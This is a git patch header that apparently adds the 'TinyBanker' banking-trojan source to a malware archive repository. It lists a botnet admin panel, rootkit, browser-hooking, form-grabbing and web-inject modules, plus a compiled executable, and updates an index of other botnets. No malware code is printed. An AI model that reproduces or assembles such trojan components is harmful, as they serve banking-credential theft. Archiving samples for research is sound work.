From 60bfc88720067574540235fa086cc862e2729531 Mon Sep 17 00:00:00 2001 From: Yuval Nativ Date: Tue, 30 Sep 2014 16:43:17 +0300 Subject: [PATCH] tiny_banker thanks to Shahak --- conf/index.csv | 21 +- .../Original/TinyBanker_Jan2012/INJECTS.TXT | 215 + .../TinyBanker_Jan2012/admin/.htaccess | 1 + .../admin/control/AJAX_REQUEST_LOG.txt | 1 + .../admin/control/botnets.act.php | 44 + .../admin/control/botnets.botnets.php | 58 + .../admin/control/botnets.bots.php | 45 + .../admin/control/botnets.php | 62 + .../admin/control/botnets.suppliers.php | 57 + .../admin/control/configs.act.php | 8 + .../admin/control/configs.configs.php | 38 + .../admin/control/configs.correlation.php | 8 + .../admin/control/configs.editor.php | 8 + .../admin/control/configs.php | 62 + .../admin/control/events.act.php | 8 + .../admin/control/events.events1.php | 8 + .../admin/control/events.events2.php | 8 + .../admin/control/events.events3.php | 8 + .../admin/control/events.php | 62 + .../admin/control/filter.act.php | 8 + .../admin/control/filter.filter1.php | 8 + .../admin/control/filter.filter2.php | 8 + .../admin/control/filter.filter3.php | 8 + .../admin/control/filter.php | 62 + .../TinyBanker_Jan2012/admin/control/help.php | 114 + .../control/images/demonic_alien_microbe.ico | Bin 0 -> 67646 bytes .../control/images/demonic_alien_microbe.png | Bin 0 -> 6088 bytes .../admin/control/images/loading.gif | Bin 0 -> 74258 bytes .../admin/control/images/saving.gif | Bin 0 -> 723 bytes .../admin/control/index.php | 134 + .../admin/control/injects.act.php | 8 + .../admin/control/injects.correlation.php | 8 + .../admin/control/injects.injects.php | 38 + .../admin/control/injects.php | 47 + .../admin/control/logs.act.fn.php | 77 + .../admin/control/logs.act.php | 292 + .../admin/control/logs.parser.php | 8 + .../admin/control/logs.patterns.php | 8 + .../TinyBanker_Jan2012/admin/control/logs.php | 67 + .../admin/control/logs.search.php | 124 + .../admin/control/plugins.act.php | 8 + .../admin/control/plugins.correlation.php | 8 + .../admin/control/plugins.php | 62 + .../admin/control/plugins.plugins.php | 8 + .../admin/control/plugins.xxx.php | 8 + .../admin/control/scripts/jquery.js | 9266 +++++++++++++++++ .../admin/control/searchlog.txt | 6 + .../admin/control/settings.act.php | 8 + .../admin/control/settings.php | 62 + .../admin/control/settings.settings1.php | 8 + .../admin/control/settings.settings2.php | 8 + .../admin/control/settings.settings3.php | 8 + .../admin/control/stats.act.php | 8 + .../admin/control/stats.php | 62 + .../admin/control/stats.stats1.php | 8 + .../admin/control/stats.stats2.php | 8 + .../admin/control/stats.stats3.php | 8 + .../admin/control/status.act.php | 8 + .../admin/control/status.countries.php | 8 + .../admin/control/status.php | 62 + .../admin/control/status.server.php | 8 + .../admin/control/status.summary.php | 101 + .../admin/control/styles/dark.css | 375 + .../admin/control/styles/Копия dark.css | 349 + .../admin/control/system.act.php | 19 + .../admin/control/system.apache.php | 8 + .../admin/control/system.mysql.php | 108 + .../admin/control/system.php | 77 + .../admin/control/system.php.php | 8 + .../admin/control/system.server.php | 8 + .../admin/control/tasks.act.php | 8 + .../admin/control/tasks.php | 62 + .../admin/control/tasks.tasks2.php | 8 + .../admin/control/tasks.tasks3.php | 8 + .../admin/control/tasks.update.php | 36 + .../admin/control/tracking.act.php | 8 + .../admin/control/tracking.php | 62 + .../admin/control/tracking.tracking1.php | 8 + .../admin/control/tracking.tracking2.php | 8 + .../admin/control/tracking.tracking3.php | 8 + .../TinyBanker_Jan2012/admin/data/.htaccess | 2 + .../admin/data/titles/botnets.php | 4 + .../admin/data/titles/suppliers.php | 4 + .../Original/TinyBanker_Jan2012/admin/in.php | 154 + .../admin/includes/GeoIP.dat | Bin 0 -> 1345396 bytes .../admin/includes/continents.php | 13 + .../admin/includes/datatypes.php | 9 + .../admin/includes/geoip.php | 727 ++ .../admin/includes/mysql.php | 11 + .../TinyBanker_Jan2012/admin/includes/rc4.php | 35 + .../source/-RootKit/HideFile.asm | 109 + .../source/-RootKit/HideProc.asm | 0 .../source/-RootKit/HideReg.asm | 53 + .../source/-RootKit/IsHidden.asm | 34 + .../source/-RootKit/ZwHdFile.asm | 117 + .../source/-RootKit/ZwHdProc.asm | 2 + .../source/-RootKit/ZwHdReg.asm | 78 + .../source/API/APITable.inc | 103 + .../source/API/Catchy32.inc | 286 + .../TinyBanker_Jan2012/source/API/HookAPI.inc | 94 + .../source/API/RestoreAPIs.inc | 151 + .../source/Bak/APITable(1).inc | 104 + .../source/Bak/APITable(2).inc | 105 + .../source/Bak/APITable(3).inc | 90 + .../source/Bak/CONFIG(1).ASM | 20 + .../source/Bak/CONFIG(2).ASM | 34 + .../source/Bak/Compare(1).inc | 60 + .../source/Bak/Compare(2).inc | 60 + .../source/Bak/Compare(3).inc | 60 + .../source/Bak/Compare(4).inc | 60 + .../source/Bak/Compare(5).inc | 60 + .../source/Bak/Compare(6).inc | 60 + .../source/Bak/Crypt(1).inc | 22 + .../source/Bak/Crypt(2).inc | 22 + .../source/Bak/FORMGRAB(1).ASM | 33 + .../source/Bak/FORMGRAB(2).ASM | 33 + .../source/Bak/GetInject(1).inc | 44 + .../source/Bak/GetInject(2).inc | 44 + .../source/Bak/GetInject(3).inc | 44 + .../source/Bak/INCLUDES(1).ASM | 86 + .../source/Bak/INCLUDES(2).ASM | 87 + .../source/Bak/INCLUDES(3).ASM | 87 + .../source/Bak/INCLUDES(4).ASM | 88 + .../source/Bak/INJECTED(1).ASM | 23 + .../source/Bak/INJECTED(2).ASM | 19 + .../source/Bak/IsGrabTerm(1).inc | 86 + .../source/Bak/IsGrabTerm(2).inc | 85 + .../source/Bak/IsGrabTerm(3).inc | 85 + .../source/Bak/IsGrabTerm(4).inc | 85 + .../source/Bak/IsGrabTerm(5).inc | 85 + .../source/Bak/IsGrabTerm(6).inc | 89 + .../source/Bak/IsGrabTerm(7).inc | 89 + .../source/Bak/IsGrabTerm(8).inc | 85 + .../source/Bak/IsGrabTerm(9).inc | 86 + .../source/Bak/Notify(1).inc | 104 + .../source/Bak/Notify(2).inc | 104 + .../source/Bak/Notify(3).inc | 104 + .../source/Bak/Notify(4).inc | 105 + .../source/Bak/Notify(5).inc | 104 + .../source/Bak/Notify(6).inc | 104 + .../source/Bak/Notify(7).inc | 105 + .../source/Bak/Notify(8).inc | 108 + .../source/Bak/Notify(9).inc | 108 + .../source/Bak/StrIMaskMatch(1).inc | 153 + .../source/Bak/StrIMaskMatch(2).inc | 153 + .../source/Bak/StrIPosEx(1).inc | 87 + .../source/Bak/StrIPosEx(2).inc | 87 + .../source/Bak/WebInject(1).inc | 197 + .../source/Bak/WebInject(2).inc | 197 + .../source/Bak/WebInject(3).inc | 197 + .../source/Bak/WebInject(4).inc | 197 + .../source/Bak/WebInject(5).inc | 197 + .../source/Bak/WebInject(6).inc | 197 + .../TinyBanker_Jan2012/source/Crypt/Crypt.inc | 22 + .../TinyBanker_Jan2012/source/Crypt/rc4.inc | 64 + .../TinyBanker_Jan2012/source/DEBUG.ASM | 59 + .../TinyBanker_Jan2012/source/FORMGRAB.ASM | 33 + .../TinyBanker_Jan2012/source/FormGrab.exe | Bin 0 -> 10240 bytes .../TinyBanker_Jan2012/source/FormGrab.rap | 389 + .../TinyBanker_Jan2012/source/FormGrab.undo | Bin 0 -> 5581 bytes .../TinyBanker_Jan2012/source/Func/Array.inc | 87 + .../source/Func/FileRead.inc | 68 + .../TinyBanker_Jan2012/source/INCLUDES.ASM | 86 + .../TinyBanker_Jan2012/source/INJECTED.ASM | 24 + .../source/Init/InitArr.inc | 25 + .../source/Init/InitCfg.inc | 20 + .../source/Init/InitHooks.inc | 78 + .../source/Install/GlobalInject.inc | 126 + .../source/Install/Install.inc | 72 + .../TinyBanker_Jan2012/source/Logs/InLog.inc | 38 + .../TinyBanker_Jan2012/source/Logs/Notify.inc | 99 + .../source/Strings/StrIMaskMatch.inc | 153 + .../source/Strings/StrIPos.inc | 83 + .../source/Strings/StrIPosEx.inc | 87 + .../source/Strings/atodw.inc | 33 + .../source/Strings/dwtoa.inc | 33 + .../source/Strings/dwtoh.inc | 43 + .../source/Strings/htodw.inc | 51 + .../source/Strings/ltrim.inc | 50 + .../source/Strings/strcpyn.inc | 32 + .../source/TrCntrl/Compare.inc | 60 + .../source/TrCntrl/FF/CheckEOF.inc | 67 + .../source/TrCntrl/FF/FFWebInject.inc | 59 + .../source/TrCntrl/FF/FixChunk.inc | 53 + .../source/TrCntrl/FF/FixHeaders.inc | 34 + .../source/TrCntrl/FF/FixLen.inc | 100 + .../source/TrCntrl/FF/GrabBrief.inc | 84 + .../source/TrCntrl/FF/hPR_Close.inc | 23 + .../source/TrCntrl/FF/hPR_Read.inc | 157 + .../source/TrCntrl/FF/hPR_Write.inc | 161 + .../source/TrCntrl/GetInject.inc | 44 + .../source/TrCntrl/IE/GrabIEHeaders.inc | 103 + .../TrCntrl/IE/InternetStatusCallback.inc | 55 + .../source/TrCntrl/IE/hHttpEndRequestA.inc | 28 + .../source/TrCntrl/IE/hHttpQueryInfoA.inc | 26 + .../source/TrCntrl/IE/hHttpSendRequestExW.inc | 17 + .../source/TrCntrl/IE/hHttpSendRequestW.inc | 64 + .../TrCntrl/IE/hInternetCloseHandle.inc | 19 + .../IE/hInternetQueryDataAvailable.inc | 30 + .../source/TrCntrl/IE/hInternetReadFile.inc | 129 + .../TrCntrl/IE/hInternetReadFileExA.inc | 19 + .../source/TrCntrl/IE/hInternetWriteFile.inc | 57 + .../source/TrCntrl/IsGrabTerm.inc | 85 + .../source/TrCntrl/WebInject.inc | 197 + .../TinyBanker_Jan2012/source/macro.inc | 253 + 205 files changed, 23133 insertions(+), 10 deletions(-) create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/INJECTS.TXT create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/.htaccess create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/AJAX_REQUEST_LOG.txt create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.act.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.botnets.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.bots.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.suppliers.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.act.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.configs.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.correlation.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.editor.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.act.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events1.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events2.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events3.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.act.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter1.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter2.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter3.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/help.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/demonic_alien_microbe.ico create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/demonic_alien_microbe.png create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/loading.gif create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/saving.gif create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/index.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.act.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.correlation.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.injects.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.fn.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.parser.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.patterns.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.search.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.act.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.correlation.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.plugins.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.xxx.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/scripts/jquery.js create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/searchlog.txt create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/settings.act.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/settings.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/settings.settings1.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/settings.settings2.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/settings.settings3.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/stats.act.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/stats.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/stats.stats1.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/stats.stats2.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/stats.stats3.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/status.act.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/status.countries.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/status.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/status.server.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/status.summary.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/styles/dark.css create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/styles/Копия dark.css create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.act.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.apache.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.mysql.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.php.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/system.server.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.act.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks2.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.tasks3.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/tasks.update.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.act.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking1.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking2.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking3.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/data/.htaccess create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/botnets.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/suppliers.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/in.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/includes/GeoIP.dat create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/includes/continents.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/includes/datatypes.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/includes/geoip.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/includes/mysql.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/admin/includes/rc4.php create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideFile.asm create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideProc.asm create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideReg.asm create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/IsHidden.asm create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdFile.asm create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdProc.asm create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/ZwHdReg.asm create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/API/APITable.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/API/Catchy32.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/API/HookAPI.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/API/RestoreAPIs.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(1).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(2).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(3).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(1).ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(2).ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(1).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(2).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(3).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(4).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(5).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(6).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(1).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(2).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(1).ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(2).ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(1).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(2).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(3).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(1).ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(2).ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(3).ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(4).ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(1).ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INJECTED(2).ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(1).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(2).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(3).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(4).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(5).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(6).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(7).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(8).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/IsGrabTerm(9).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(1).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(2).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(3).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(4).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(5).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(6).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(7).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(8).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Notify(9).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(1).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIMaskMatch(2).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(1).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/StrIPosEx(2).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(1).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(2).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(3).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(4).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(5).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(6).inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/Crypt.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/rc4.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/DEBUG.ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/FORMGRAB.ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.exe create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.rap create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.undo create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Func/Array.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Func/FileRead.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/INCLUDES.ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/INJECTED.ASM create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitArr.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitCfg.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitHooks.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Install/GlobalInject.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Install/Install.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Logs/InLog.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Logs/Notify.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIMaskMatch.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPos.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPosEx.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Strings/atodw.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoa.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoh.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Strings/htodw.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Strings/ltrim.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/Strings/strcpyn.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/Compare.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/CheckEOF.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FFWebInject.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixChunk.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixHeaders.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixLen.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/GrabBrief.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Close.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Read.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Write.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/GetInject.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/GrabIEHeaders.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/InternetStatusCallback.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpEndRequestA.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpQueryInfoA.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestExW.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestW.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetCloseHandle.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetQueryDataAvailable.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFile.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFileExA.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetWriteFile.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IsGrabTerm.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/WebInject.inc create mode 100644 malwares/Source/Original/TinyBanker_Jan2012/source/macro.inc diff --git a/conf/index.csv b/conf/index.csv index d2810a2..65df56f 100644 --- a/conf/index.csv +++ b/conf/index.csv @@ -1,17 +1,17 @@ 1,Source/Original/Dokan_Dec2008/Dokan_Dec2008,botnet,Dokan,unknown,unknown,c,00/12/2008,x86,win32,0 -3,Source/Original/ShadowBotv3_March2007/ShadowBotv3_March2007,botnet,ShadowBot,3,unknown,cpp,03/2007,x86,win32,0 +3,Source/Original/ShadowBotv3_March2007/ShadowBotv3_March2007,botnet,ShadowBot,3,unknown,cpp,Mar-07,x86,win32,0 4,Source/Original/rBot0.3.3_May2004/rBot0.3.3_May2004,botnet,rBot,0.3.3,unknown,cpp,00/05/2004,x86,win32,0 -5,Source/Original/ZeuS2.0.8.9_Feb2013/ZeuS2.0.8.9_Feb2013,botnet,ZeuS,2.0.8.9,unknown,c,02/2013,x86,win32,1 +5,Source/Original/ZeuS2.0.8.9_Feb2013/ZeuS2.0.8.9_Feb2013,botnet,ZeuS,2.0.8.9,unknown,c,Feb-13,x86,win32,1 6,Source/Original/X0R-USB_Jan2009/X0R-USB_Jan2009,virus,X0R-USB-Virus,unknown,unknown,c,00/01/2009,x86,win32,0 7,Source/Original/LoexBot1.3_Sep2008/LoexBot1.3_Sep2008,botnet,LoexBot,1.3,unknown,cpp,00/09/2008,x86,win32,0 -8,Source/Original/ZunkerBot1.4.5_Sep2007/ZunkerBot1.4.5_Sep2007,botnet,ZunkerBot,1.4.5,unknown,php,09/2007,x86,win32,0 +8,Source/Original/ZunkerBot1.4.5_Sep2007/ZunkerBot1.4.5_Sep2007,botnet,ZunkerBot,1.4.5,unknown,php,Sep-07,x86,win32,0 9,Source/Original/DopeBotv0.22_UnCrippled_Feb2007/DopeBotv0.22_UnCrippled_Feb2007,botnet,DopeBot-UnCrippled,0.22,unknown,cpp,00/02/2007,x86,win32,0 -10,Source/Original/vbBot_Jan2007/vbBot_Jan2007,botnet,vbBot,unknown,unknown,vb,01/2007,x86,win32,0 -11,Source/Original/xTBot0.0.2_2Feb2002/xTBot0.0.2_2Feb2002,botnet,xTBot,0.0.2,unknown,cpp,02/2002,x86,win32,0 